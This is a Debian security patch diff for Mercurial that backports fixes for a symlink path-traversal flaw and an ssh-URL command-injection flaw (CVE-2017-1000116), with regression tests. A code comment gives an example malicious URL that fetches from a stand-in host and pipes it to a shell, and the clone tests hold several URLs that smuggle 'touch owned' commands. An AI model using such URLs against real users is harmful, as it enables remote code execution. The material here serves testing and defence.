diff -Nru mercurial-3.1.2/debian/changelog mercurial-3.1.2/debian/changelog
--- mercurial-3.1.2/debian/changelog	2016-05-04 12:39:29.000000000 +0200
+++ mercurial-3.1.2/debian/changelog	2017-08-28 22:08:28.000000000 +0200
@@ -1,3 +1,10 @@
+mercurial (3.1.2-2+deb8u4) jessie-security; urgency=medium
+
+  * CVE-2017-1000115: path traversal via symlink
+  * CVE-2017-1000116: command injection on clients through malicious ssh URLs
+
+ -- Julien Cristau <jcristau@debian.org>  Mon, 28 Aug 2017 22:08:28 +0200
+
 mercurial (3.1.2-2+deb8u3) jessie-security; urgency=high
 
   * CVE-2016-3105:
diff -Nru mercurial-3.1.2/debian/patches/from_upstream__hghave_unix-socket.patch mercurial-3.1.2/debian/patches/from_upstream__hghave_unix-socket.patch
--- mercurial-3.1.2/debian/patches/from_upstream__hghave_unix-socket.patch	1970-01-01 01:00:00.000000000 +0100
+++ mercurial-3.1.2/debian/patches/from_upstream__hghave_unix-socket.patch	2017-08-28 22:08:28.000000000 +0200
@@ -0,0 +1,37 @@
+--- mercurial-3.1.2.orig/tests/hghave.py
++++ mercurial-3.1.2/tests/hghave.py
+@@ -1,7 +1,8 @@
+ import os, stat
+ import re
++import socket
+ import sys
+ import tempfile
+ 
+ tempprefix = 'hg-hghave-'
+ 
+@@ -216,10 +217,13 @@ def has_unix_permissions():
+                 return False
+         return True
+     finally:
+         os.rmdir(d)
+ 
++def has_unix_socket():
++    return getattr(socket, 'AF_UNIX', None) is not None
++
+ def has_root():
+     return getattr(os, 'geteuid', None) and os.geteuid() == 0
+ 
+ def has_pyflakes():
+     return matchoutput("sh -c \"echo 'import re' 2>&1 | pyflakes\"",
+@@ -323,10 +327,11 @@ checks = {
+     "system-sh": (has_system_sh, "system() uses sh"),
+     "test-repo": (has_test_repo, "running tests from repository"),
+     "tic": (has_tic, "terminfo compiler and curses module"),
+     "tla": (has_tla, "GNU Arch tla client"),
+     "unix-permissions": (has_unix_permissions, "unix-style permissions"),
++    "unix-socket": (has_unix_socket, "AF_UNIX socket family"),
+     "windows": (has_windows, "Windows"),
+     "msys": (has_msys, "Windows with MSYS"),
+     "aix": (has_aix, "AIX"),
+     "absimport": (has_absimport, "absolute_import in __future__"),
+     "py3k": (has_py3k, "running with Python 3.x"),
diff -Nru mercurial-3.1.2/debian/patches/from_upstream__security_201708.patch mercurial-3.1.2/debian/patches/from_upstream__security_201708.patch
--- mercurial-3.1.2/debian/patches/from_upstream__security_201708.patch	1970-01-01 01:00:00.000000000 +0100
+++ mercurial-3.1.2/debian/patches/from_upstream__security_201708.patch	2017-08-28 22:08:28.000000000 +0200
@@ -0,0 +1,1624 @@
+diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
+--- a/mercurial/cmdutil.py
++++ b/mercurial/cmdutil.py
+@@ -2481,7 +2481,7 @@ def _performrevert(repo, parents, ctx, a
+         fc = ctx[f]
+         repo.wwrite(f, fc.data(), fc.flags())
+ 
+-    audit_path = pathutil.pathauditor(repo.root)
++    audit_path = pathutil.pathauditor(repo.root, cached=True)
+     for f in actions['remove'][0]:
+         if repo.dirstate[f] == 'a':
+             repo.dirstate.drop(f)
+diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
+--- a/mercurial/dirstate.py
++++ b/mercurial/dirstate.py
+@@ -746,7 +746,7 @@ class dirstate(object):
+                 # that wasn't ignored, and everything that matched was stat'ed
+                 # and is already in results.
+                 # The rest must thus be ignored or under a symlink.
+-                audit_path = pathutil.pathauditor(self._root)
++                audit_path = pathutil.pathauditor(self._root, cached=True)
+ 
+                 for nf in iter(visit):
+                     # Report ignored items in the dmap as long as they are not
+diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
+--- a/mercurial/localrepo.py
++++ b/mercurial/localrepo.py
+@@ -198,7 +198,7 @@ class localrepository(object):
+         self.path = self.wvfs.join(".hg")
+         self.origroot = path
+         self.auditor = pathutil.pathauditor(self.root, self._checknested)
+-        self.vfs = scmutil.vfs(self.path)
++        self.vfs = scmutil.vfs(self.path, cacheaudited=True)
+         self.opener = self.vfs
+         self.baseui = baseui
+         self.ui = baseui.copy()
+@@ -270,7 +270,9 @@ class localrepository(object):
+             if inst.errno != errno.ENOENT:
+                 raise
+ 
+-        self.store = store.store(requirements, self.sharedpath, scmutil.vfs)
++        self.store = store.store(
++            requirements, self.sharedpath,
++            lambda base: scmutil.vfs(base, cacheaudited=True))
+         self.spath = self.store.path
+         self.svfs = self.store.vfs
+         self.sopener = self.svfs
+diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
+--- a/mercurial/pathutil.py
++++ b/mercurial/pathutil.py
+@@ -18,12 +18,17 @@ class pathauditor(object):
+     - traverses a symlink (e.g. a/symlink_here/b)
+     - inside a nested repository (a callback can be used to approve
+       some nested repositories, e.g., subrepositories)
++
++    If 'cached' is set to True, audited paths and sub-directories are cached.
++    Be careful to not keep the cache of unmanaged directories for long because
++    audited paths may be replaced with symlinks.
+     '''
+ 
+-    def __init__(self, root, callback=None):
++    def __init__(self, root, callback=None, cached=False):
+         self.audited = set()
+         self.auditeddir = set()
+         self.root = root
++        self._cached = cached
+         self.callback = callback
+         if os.path.lexists(root) and not util.checkcase(root):
+             self.normcase = util.normcase
+@@ -96,10 +101,11 @@ class pathauditor(object):
+             parts.pop()
+             normparts.pop()
+ 
+-        self.audited.add(normpath)
+-        # only add prefixes to the cache after checking everything: we don't
+-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+-        self.auditeddir.update(prefixes)
++        if self._cached:
++            self.audited.add(normpath)
++            # only add prefixes to the cache after checking everything: we don't
++            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
++            self.auditeddir.update(prefixes)
+ 
+     def check(self, path):
+         try:
+diff --git a/mercurial/posix.py b/mercurial/posix.py
+--- a/mercurial/posix.py
++++ b/mercurial/posix.py
+@@ -7,6 +7,7 @@
+ 
+ from i18n import _
+ import encoding
++import error
+ import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata
+ 
+ posixfile = open
+@@ -64,7 +65,13 @@ def parsepatchoutput(output_line):
+ def sshargs(sshcmd, host, user, port):
+     '''Build argument list for ssh'''
+     args = user and ("%s@%s" % (user, host)) or host
+-    return port and ("%s -p %s" % (args, port)) or args
++    if '-' in args[:1]:
++        raise error.Abort(
++            _('illegal ssh hostname or username starting with -: %s') % args)
++    args = shellquote(args)
++    if port:
++        args = '-p %s %s' % (shellquote(port), args)
++    return args
+ 
+ def isexec(f):
+     """check whether a file is executable"""
+diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
+--- a/mercurial/scmutil.py
++++ b/mercurial/scmutil.py
+@@ -240,13 +240,19 @@ class vfs(abstractvfs):
+ 
+     This class is used to hide the details of COW semantics and
+     remote file access from higher level code.
++
++    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
++    (b) the base directory is managed by hg and considered sort-of append-only.
++    See pathutil.pathauditor() for details.
+     '''
+-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
++    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
++                 realpath=False):
+         if expandpath:
+             base = util.expandpath(base)
+         if realpath:
+             base = os.path.realpath(base)
+         self.base = base
++        self._cacheaudited = cacheaudited
+         self._setmustaudit(audit)
+         self.createmode = None
+         self._trustnlink = None
+@@ -257,7 +263,8 @@ class vfs(abstractvfs):
+     def _setmustaudit(self, onoff):
+         self._audit = onoff
+         if onoff:
+-            self.audit = pathutil.pathauditor(self.base)
++            self.audit = pathutil.pathauditor(self.base,
++                                              cached=self._cacheaudited)
+         else:
+             self.audit = util.always
+ 
+@@ -690,7 +697,7 @@ def _interestingfiles(repo, matcher):
+     This is different from dirstate.status because it doesn't care about
+     whether files are modified or clean.'''
+     added, unknown, deleted, removed = [], [], [], []
+-    audit_path = pathutil.pathauditor(repo.root)
++    audit_path = pathutil.pathauditor(repo.root, cached=True)
+ 
+     ctx = repo[None]
+     dirstate = repo.dirstate
+diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
+--- a/mercurial/sshpeer.py
++++ b/mercurial/sshpeer.py
+@@ -37,6 +37,8 @@ class sshpeer(wireproto.wirepeer):
+         if u.scheme != 'ssh' or not u.host or u.path is None:
+             self._abort(error.RepoError(_("couldn't parse location %s") % path))
+ 
++        util.checksafessh(path)
++
+         self.user = u.user
+         if u.passwd is not None:
+             self._abort(error.RepoError(_("password in URL not supported")))
+diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
+--- a/mercurial/subrepo.py
++++ b/mercurial/subrepo.py
+@@ -1076,6 +1076,10 @@ class svnsubrepo(abstractsubrepo):
+         # The revision must be specified at the end of the URL to properly
+         # update to a directory which has since been deleted and recreated.
+         args.append('%s@%s' % (state[0], state[1]))
++
++        # SEC: check that the ssh url is safe
++        util.checksafessh(state[0])
++
+         status, err = self._svncommand(args, failok=True)
+         _sanitize(self._ui, self._ctx._repo.wjoin(self._path), '.svn')
+         if not re.search('Checked out revision [0-9]+.', status):
+@@ -1312,6 +1316,9 @@ class gitsubrepo(abstractsubrepo):
+ 
+     def _fetch(self, source, revision):
+         if self._gitmissing():
++            # SEC: check for safe ssh url
++            util.checksafessh(source)
++
+             source = self._abssource(source)
+             self._ui.status(_('cloning subrepo %s from %s\n') %
+                             (self._relpath, source))
+diff --git a/mercurial/util.py b/mercurial/util.py
+--- a/mercurial/util.py
++++ b/mercurial/util.py
+@@ -1938,6 +1938,21 @@ def hasdriveletter(path):
+ def urllocalpath(path):
+     return url(path, parsequery=False, parsefragment=False).localpath()
+ 
++def checksafessh(path):
++    """check if a path / url is a potentially unsafe ssh exploit (SEC)
++
++    This is a sanity check for ssh urls. ssh will parse the first item as
++    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
++    Let's prevent these potentially exploited urls entirely and warn the
++    user.
++
++    Raises an error.Abort when the url is unsafe.
++    """
++    path = urllib.unquote(path)
++    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
++        raise error.Abort(_('potentially unsafe url: %r') %
++                          (path,))
++
+ def hidepassword(u):
+     '''hide user credential in a url string'''
+     u = url(u)
+diff --git a/mercurial/windows.py b/mercurial/windows.py
+--- a/mercurial/windows.py
++++ b/mercurial/windows.py
+@@ -6,7 +6,7 @@
+ # GNU General Public License version 2 or any later version.
+ 
+ from i18n import _
+-import osutil, encoding
++import osutil, encoding, error
+ import errno, msvcrt, os, re, stat, sys, _winreg
+ 
+ import win32
+@@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port):
+     '''Build argument list for ssh or Plink'''
+     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
+     args = user and ("%s@%s" % (user, host)) or host
+-    return port and ("%s %s %s" % (args, pflag, port)) or args
++    if args.startswith('-') or args.startswith('/'):
++        raise error.Abort(
++            _('illegal ssh hostname or username starting with - or /: %s') %
++            args)
++    args = shellquote(args)
++    if port:
++        args = '%s %s %s' % (pflag, shellquote(port), args)
++    return args
+ 
+ def setflags(f, l, x):
+     pass
+diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
+--- a/tests/test-audit-path.t
++++ b/tests/test-audit-path.t
+@@ -90,3 +90,103 @@ attack /tmp/test
+   [255]
+ 
+   $ cd ..
++
++Test symlink traversal on merge:
++--------------------------------
++
++#if symlink
++
++set up symlink hell
++
++  $ mkdir merge-symlink-out
++  $ hg init merge-symlink
++  $ cd merge-symlink
++  $ touch base
++  $ hg commit -qAm base
++  $ ln -s ../merge-symlink-out a
++  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
++  $ hg up -q 0
++  $ mkdir a
++  $ touch a/poisoned
++  $ hg commit -qAm 'file a/poisoned'
++  $ hg log -G -T '{rev}: {desc}\n'
++  @  2: file a/poisoned
++  |
++  | o  1: symlink a -> ../merge-symlink-out
++  |/
++  o  0: base
++  
++
++try trivial merge
++
++  $ hg up -qC 1
++  $ hg merge 2
++  abort: path 'a/poisoned' traverses symbolic link 'a'
++  [255]
++
++try rebase onto other revision: cache of audited paths should be discarded,
++and the rebase should fail (issue5628)
++
++  $ hg up -qC 2
++  $ hg rebase -s 2 -d 1 --config extensions.rebase=
++  rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
++  abort: path 'a/poisoned' traverses symbolic link 'a'
++  [255]
++  $ ls ../merge-symlink-out
++
++  $ cd ..
++
++Test symlink traversal on update:
++---------------------------------
++
++  $ mkdir update-symlink-out
++  $ hg init update-symlink
++  $ cd update-symlink
++  $ ln -s ../update-symlink-out a
++  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
++  $ hg rm a
++  $ mkdir a && touch a/b
++  $ hg ci -qAm 'file a/b' a/b
++  $ hg up -qC 0
++  $ hg rm a
++  $ mkdir a && touch a/c
++  $ hg ci -qAm 'rm a, file a/c'
++  $ hg log -G -T '{rev}: {desc}\n'
++  @  2: rm a, file a/c
++  |
++  | o  1: file a/b
++  |/
++  o  0: symlink a -> ../update-symlink-out
++  
++
++try linear update where symlink already exists:
++
++  $ hg up -qC 0
++  $ hg up 1
++  abort: path 'a/b' traverses symbolic link 'a'
++  [255]
++
++try linear update including symlinked directory and its content: paths are
++audited first by calculateupdates(), where no symlink is created so both
++'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
++
++  $ hg up -qC null
++  $ hg up 1
++  abort: path 'a/b' traverses symbolic link 'a'
++  [255]
++  $ ls ../update-symlink-out
++
++try branch update replacing directory with symlink, and its content: the
++path 'a' is audited as a directory first, which should be audited again as
++a symlink.
++
++  $ rm -f a
++  $ hg up -qC 2
++  $ hg up 1
++  abort: path 'a/b' traverses symbolic link 'a'
++  [255]
++  $ ls ../update-symlink-out
++
++  $ cd ..
++
++#endif
+diff --git a/tests/test-clone.t b/tests/test-clone.t
+--- a/tests/test-clone.t
++++ b/tests/test-clone.t
+@@ -635,3 +635,66 @@ Test clone from the repository in (emula
+   $ hg -R dst log -q
+   0:e1bab28bca43
+   $ cd ..
++
++SEC: check for unsafe ssh url
++
++  $ cat >> $HGRCPATH << EOF
++  > [ui]
++  > ssh = sh -c "read l; read l; read l"
++  > EOF
++
++  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg clone 'ssh://fakehost|touch%20owned/path'
++  abort: no suitable response from remote hg!
++  [255]
++  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
++  abort: no suitable response from remote hg!
++  [255]
++
++  $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
++  [255]
++
++#if windows
++  $ hg clone "ssh://%26touch%20owned%20/" --debug
++  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
++  sending hello command
++  sending between command
++  abort: no suitable response from remote hg!
++  [255]
++  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
++  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
++  sending hello command
++  sending between command
++  abort: no suitable response from remote hg!
++  [255]
++#else
++  $ hg clone "ssh://%3btouch%20owned%20/" --debug
++  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
++  sending hello command
++  sending between command
++  abort: no suitable response from remote hg!
++  [255]
++  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
++  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
++  sending hello command
++  sending between command
++  abort: no suitable response from remote hg!
++  [255]
++#endif
++
++  $ hg clone "ssh://v-alid.example.com/" --debug
++  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
++  sending hello command
++  sending between command
++  abort: no suitable response from remote hg!
++  [255]
++
++We should not have created a file named owned - if it exists, the
++attack succeeded.
++  $ if test -f owned; then echo 'you got owned'; fi
+diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
+new file mode 100644
+--- /dev/null
++++ b/tests/test-commandserver.t
+@@ -0,0 +1,966 @@
++#if windows
++  $ PYTHONPATH="$TESTDIR/../contrib;$PYTHONPATH"
++#else
++  $ PYTHONPATH="$TESTDIR/../contrib:$PYTHONPATH"
++#endif
++  $ export PYTHONPATH
++
++typical client does not want echo-back messages, so test without it:
++
++  $ grep -v '^promptecho ' < $HGRCPATH >> $HGRCPATH.new
++  $ mv $HGRCPATH.new $HGRCPATH
++
++  $ hg init repo
++  $ cd repo
++
++  >>> from __future__ import print_function
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def hellomessage(server):
++  ...     ch, data = readchannel(server)
++  ...     print('%c, %r' % (ch, data))
++  ...     # run an arbitrary command to make sure the next thing the server
++  ...     # sends isn't part of the hello message
++  ...     runcommand(server, ['id'])
++  o, 'capabilities: getencoding runcommand\nencoding: *\npid: *' (glob)
++  *** runcommand id
++  000000000000 tip
++
++  >>> from hgclient import check
++  >>> @check
++  ... def unknowncommand(server):
++  ...     server.stdin.write('unknowncommand\n')
++  abort: unknown command unknowncommand
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def checkruncommand(server):
++  ...     # hello block
++  ...     readchannel(server)
++  ... 
++  ...     # no args
++  ...     runcommand(server, [])
++  ... 
++  ...     # global options
++  ...     runcommand(server, ['id', '--quiet'])
++  ... 
++  ...     # make sure global options don't stick through requests
++  ...     runcommand(server, ['id'])
++  ... 
++  ...     # --config
++  ...     runcommand(server, ['id', '--config', 'ui.quiet=True'])
++  ... 
++  ...     # make sure --config doesn't stick
++  ...     runcommand(server, ['id'])
++  ... 
++  ...     # negative return code should be masked
++  ...     runcommand(server, ['id', '-runknown'])
++  *** runcommand 
++  Mercurial Distributed SCM
++  
++  basic commands:
++  
++   add           add the specified files on the next commit
++   annotate      show changeset information by line for each file
++   clone         make a copy of an existing repository
++   commit        commit the specified files or all outstanding changes
++   diff          diff repository (or selected files)
++   export        dump the header and diffs for one or more changesets
++   forget        forget the specified files on the next commit
++   init          create a new repository in the given directory
++   log           show revision history of entire repository or files
++   merge         merge another revision into working directory
++   pull          pull changes from the specified source
++   push          push changes to the specified destination
++   remove        remove the specified files on the next commit
++   serve         start stand-alone webserver
++   status        show changed files in the working directory
++   summary       summarize working directory state
++   update        update working directory (or switch revisions)
++  
++  (use 'hg help' for the full list of commands or 'hg -v' for details)
++  *** runcommand id --quiet
++  000000000000
++  *** runcommand id
++  000000000000 tip
++  *** runcommand id --config ui.quiet=True
++  000000000000
++  *** runcommand id
++  000000000000 tip
++  *** runcommand id -runknown
++  abort: unknown revision 'unknown'!
++   [255]
++
++  >>> from hgclient import readchannel, check
++  >>> @check
++  ... def inputeof(server):
++  ...     readchannel(server)
++  ...     server.stdin.write('runcommand\n')
++  ...     # close stdin while server is waiting for input
++  ...     server.stdin.close()
++  ... 
++  ...     # server exits with 1 if the pipe closed while reading the command
++  ...     print('server exit code =', server.wait())
++  server exit code = 1
++
++  >>> from hgclient import readchannel, runcommand, check, stringio
++  >>> @check
++  ... def serverinput(server):
++  ...     readchannel(server)
++  ... 
++  ...     patch = """
++  ... # HG changeset patch
++  ... # User test
++  ... # Date 0 0
++  ... # Node ID c103a3dec114d882c98382d684d8af798d09d857
++  ... # Parent  0000000000000000000000000000000000000000
++  ... 1
++  ... 
++  ... diff -r 000000000000 -r c103a3dec114 a
++  ... --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
++  ... +++ b/a	Thu Jan 01 00:00:00 1970 +0000
++  ... @@ -0,0 +1,1 @@
++  ... +1
++  ... """
++  ... 
++  ...     runcommand(server, ['import', '-'], input=stringio(patch))
++  ...     runcommand(server, ['log'])
++  *** runcommand import -
++  applying patch from stdin
++  *** runcommand log
++  changeset:   0:eff892de26ec
++  tag:         tip
++  user:        test
++  date:        Thu Jan 01 00:00:00 1970 +0000
++  summary:     1
++  
++
++check that --cwd doesn't persist between requests:
++
++  $ mkdir foo
++  $ touch foo/bar
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def cwd(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['--cwd', 'foo', 'st', 'bar'])
++  ...     runcommand(server, ['st', 'foo/bar'])
++  *** runcommand --cwd foo st bar
++  ? bar
++  *** runcommand st foo/bar
++  ? foo/bar
++
++  $ rm foo/bar
++
++
++check that local configs for the cached repo aren't inherited when -R is used:
++
++  $ cat <<EOF >> .hg/hgrc
++  > [ui]
++  > foo = bar
++  > EOF
++
++  >>> from hgclient import readchannel, sep, runcommand, check
++  >>> @check
++  ... def localhgrc(server):
++  ...     readchannel(server)
++  ... 
++  ...     # the cached repo local hgrc contains ui.foo=bar, so showconfig should
++  ...     # show it
++  ...     runcommand(server, ['showconfig'], outfilter=sep)
++  ... 
++  ...     # but not for this repo
++  ...     runcommand(server, ['init', 'foo'])
++  ...     runcommand(server, ['-R', 'foo', 'showconfig', 'ui', 'defaults'])
++  *** runcommand showconfig
++  bundle.mainreporoot=$TESTTMP/repo
++  defaults.backout=-d "0 0"
++  defaults.commit=-d "0 0"
++  defaults.shelve=--date "0 0"
++  defaults.tag=-d "0 0"
++  devel.all-warnings=true
++  largefiles.usercache=$TESTTMP/.cache/largefiles
++  ui.slash=True
++  ui.interactive=False
++  ui.mergemarkers=detailed
++  ui.usehttp2=true (?)
++  ui.foo=bar
++  ui.nontty=true
++  *** runcommand init foo
++  *** runcommand -R foo showconfig ui defaults
++  defaults.backout=-d "0 0"
++  defaults.commit=-d "0 0"
++  defaults.shelve=--date "0 0"
++  defaults.tag=-d "0 0"
++  ui.slash=True
++  ui.interactive=False
++  ui.mergemarkers=detailed
++  ui.usehttp2=true (?)
++  ui.nontty=true
++
++  $ rm -R foo
++
++#if windows
++  $ PYTHONPATH="$TESTTMP/repo;$PYTHONPATH"
++#else
++  $ PYTHONPATH="$TESTTMP/repo:$PYTHONPATH"
++#endif
++
++  $ cat <<EOF > hook.py
++  > from __future__ import print_function
++  > import sys
++  > def hook(**args):
++  >     print('hook talking')
++  >     print('now try to read something: %r' % sys.stdin.read())
++  > EOF
++
++  >>> from hgclient import readchannel, runcommand, check, stringio
++  >>> @check
++  ... def hookoutput(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['--config',
++  ...                         'hooks.pre-identify=python:hook.hook',
++  ...                         'id'],
++  ...                input=stringio('some input'))
++  *** runcommand --config hooks.pre-identify=python:hook.hook id
++  hook talking
++  now try to read something: 'some input'
++  eff892de26ec tip
++
++  $ rm hook.py*
++
++  $ echo a >> a
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def outsidechanges(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['status'])
++  ...     os.system('hg ci -Am2')
++  ...     runcommand(server, ['tip'])
++  ...     runcommand(server, ['status'])
++  *** runcommand status
++  M a
++  *** runcommand tip
++  changeset:   1:d3a0a68be6de
++  tag:         tip
++  user:        test
++  date:        Thu Jan 01 00:00:00 1970 +0000
++  summary:     2
++  
++  *** runcommand status
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def bookmarks(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['bookmarks'])
++  ... 
++  ...     # changes .hg/bookmarks
++  ...     os.system('hg bookmark -i bm1')
++  ...     os.system('hg bookmark -i bm2')
++  ...     runcommand(server, ['bookmarks'])
++  ... 
++  ...     # changes .hg/bookmarks.current
++  ...     os.system('hg upd bm1 -q')
++  ...     runcommand(server, ['bookmarks'])
++  ... 
++  ...     runcommand(server, ['bookmarks', 'bm3'])
++  ...     f = open('a', 'ab')
++  ...     f.write('a\n')
++  ...     f.close()
++  ...     runcommand(server, ['commit', '-Amm'])
++  ...     runcommand(server, ['bookmarks'])
++  *** runcommand bookmarks
++  no bookmarks set
++  *** runcommand bookmarks
++     bm1                       1:d3a0a68be6de
++     bm2                       1:d3a0a68be6de
++  *** runcommand bookmarks
++   * bm1                       1:d3a0a68be6de
++     bm2                       1:d3a0a68be6de
++  *** runcommand bookmarks bm3
++  *** runcommand commit -Amm
++  *** runcommand bookmarks
++     bm1                       1:d3a0a68be6de
++     bm2                       1:d3a0a68be6de
++   * bm3                       2:aef17e88f5f0
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def tagscache(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['id', '-t', '-r', '0'])
++  ...     os.system('hg tag -r 0 foo')
++  ...     runcommand(server, ['id', '-t', '-r', '0'])
++  *** runcommand id -t -r 0
++  
++  *** runcommand id -t -r 0
++  foo
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def setphase(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['phase', '-r', '.'])
++  ...     os.system('hg phase -r . -p')
++  ...     runcommand(server, ['phase', '-r', '.'])
++  *** runcommand phase -r .
++  3: draft
++  *** runcommand phase -r .
++  3: public
++
++  $ echo a >> a
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def rollback(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['phase', '-r', '.', '-p'])
++  ...     runcommand(server, ['commit', '-Am.'])
++  ...     runcommand(server, ['rollback'])
++  ...     runcommand(server, ['phase', '-r', '.'])
++  *** runcommand phase -r . -p
++  no phases changed
++  *** runcommand commit -Am.
++  *** runcommand rollback
++  repository tip rolled back to revision 3 (undo commit)
++  working directory now based on revision 3
++  *** runcommand phase -r .
++  3: public
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def branch(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['branch'])
++  ...     os.system('hg branch foo')
++  ...     runcommand(server, ['branch'])
++  ...     os.system('hg branch default')
++  *** runcommand branch
++  default
++  marked working directory as branch foo
++  (branches are permanent and global, did you want a bookmark?)
++  *** runcommand branch
++  foo
++  marked working directory as branch default
++  (branches are permanent and global, did you want a bookmark?)
++
++  $ touch .hgignore
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def hgignore(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit', '-Am.'])
++  ...     f = open('ignored-file', 'ab')
++  ...     f.write('')
++  ...     f.close()
++  ...     f = open('.hgignore', 'ab')
++  ...     f.write('ignored-file')
++  ...     f.close()
++  ...     runcommand(server, ['status', '-i', '-u'])
++  *** runcommand commit -Am.
++  adding .hgignore
++  *** runcommand status -i -u
++  I ignored-file
++
++cache of non-public revisions should be invalidated on repository change
++(issue4855):
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def phasesetscacheaftercommit(server):
++  ...     readchannel(server)
++  ...     # load _phasecache._phaserevs and _phasesets
++  ...     runcommand(server, ['log', '-qr', 'draft()'])
++  ...     # create draft commits by another process
++  ...     for i in xrange(5, 7):
++  ...         f = open('a', 'ab')
++  ...         f.seek(0, os.SEEK_END)
++  ...         f.write('a\n')
++  ...         f.close()
++  ...         os.system('hg commit -Aqm%d' % i)
++  ...     # new commits should be listed as draft revisions
++  ...     runcommand(server, ['log', '-qr', 'draft()'])
++  *** runcommand log -qr draft()
++  4:7966c8e3734d
++  *** runcommand log -qr draft()
++  4:7966c8e3734d
++  5:41f6602d1c4f
++  6:10501e202c35
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def phasesetscacheafterstrip(server):
++  ...     readchannel(server)
++  ...     # load _phasecache._phaserevs and _phasesets
++  ...     runcommand(server, ['log', '-qr', 'draft()'])
++  ...     # strip cached revisions by another process
++  ...     os.system('hg --config extensions.strip= strip -q 5')
++  ...     # shouldn't abort by "unknown revision '6'"
++  ...     runcommand(server, ['log', '-qr', 'draft()'])
++  *** runcommand log -qr draft()
++  4:7966c8e3734d
++  5:41f6602d1c4f
++  6:10501e202c35
++  *** runcommand log -qr draft()
++  4:7966c8e3734d
++
++cache of phase roots should be invalidated on strip (issue3827):
++
++  >>> import os
++  >>> from hgclient import readchannel, sep, runcommand, check
++  >>> @check
++  ... def phasecacheafterstrip(server):
++  ...     readchannel(server)
++  ... 
++  ...     # create new head, 5:731265503d86
++  ...     runcommand(server, ['update', '-C', '0'])
++  ...     f = open('a', 'ab')
++  ...     f.write('a\n')
++  ...     f.close()
++  ...     runcommand(server, ['commit', '-Am.', 'a'])
++  ...     runcommand(server, ['log', '-Gq'])
++  ... 
++  ...     # make it public; draft marker moves to 4:7966c8e3734d
++  ...     runcommand(server, ['phase', '-p', '.'])
++  ...     # load _phasecache.phaseroots
++  ...     runcommand(server, ['phase', '.'], outfilter=sep)
++  ... 
++  ...     # strip 1::4 outside server
++  ...     os.system('hg -q --config extensions.mq= strip 1')
++  ... 
++  ...     # shouldn't raise "7966c8e3734d: no node!"
++  ...     runcommand(server, ['branches'])
++  *** runcommand update -C 0
++  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
++  (leaving bookmark bm3)
++  *** runcommand commit -Am. a
++  created new head
++  *** runcommand log -Gq
++  @  5:731265503d86
++  |
++  | o  4:7966c8e3734d
++  | |
++  | o  3:b9b85890c400
++  | |
++  | o  2:aef17e88f5f0
++  | |
++  | o  1:d3a0a68be6de
++  |/
++  o  0:eff892de26ec
++  
++  *** runcommand phase -p .
++  *** runcommand phase .
++  5: public
++  *** runcommand branches
++  default                        1:731265503d86
++
++in-memory cache must be reloaded if transaction is aborted. otherwise
++changelog and manifest would have invalid node:
++
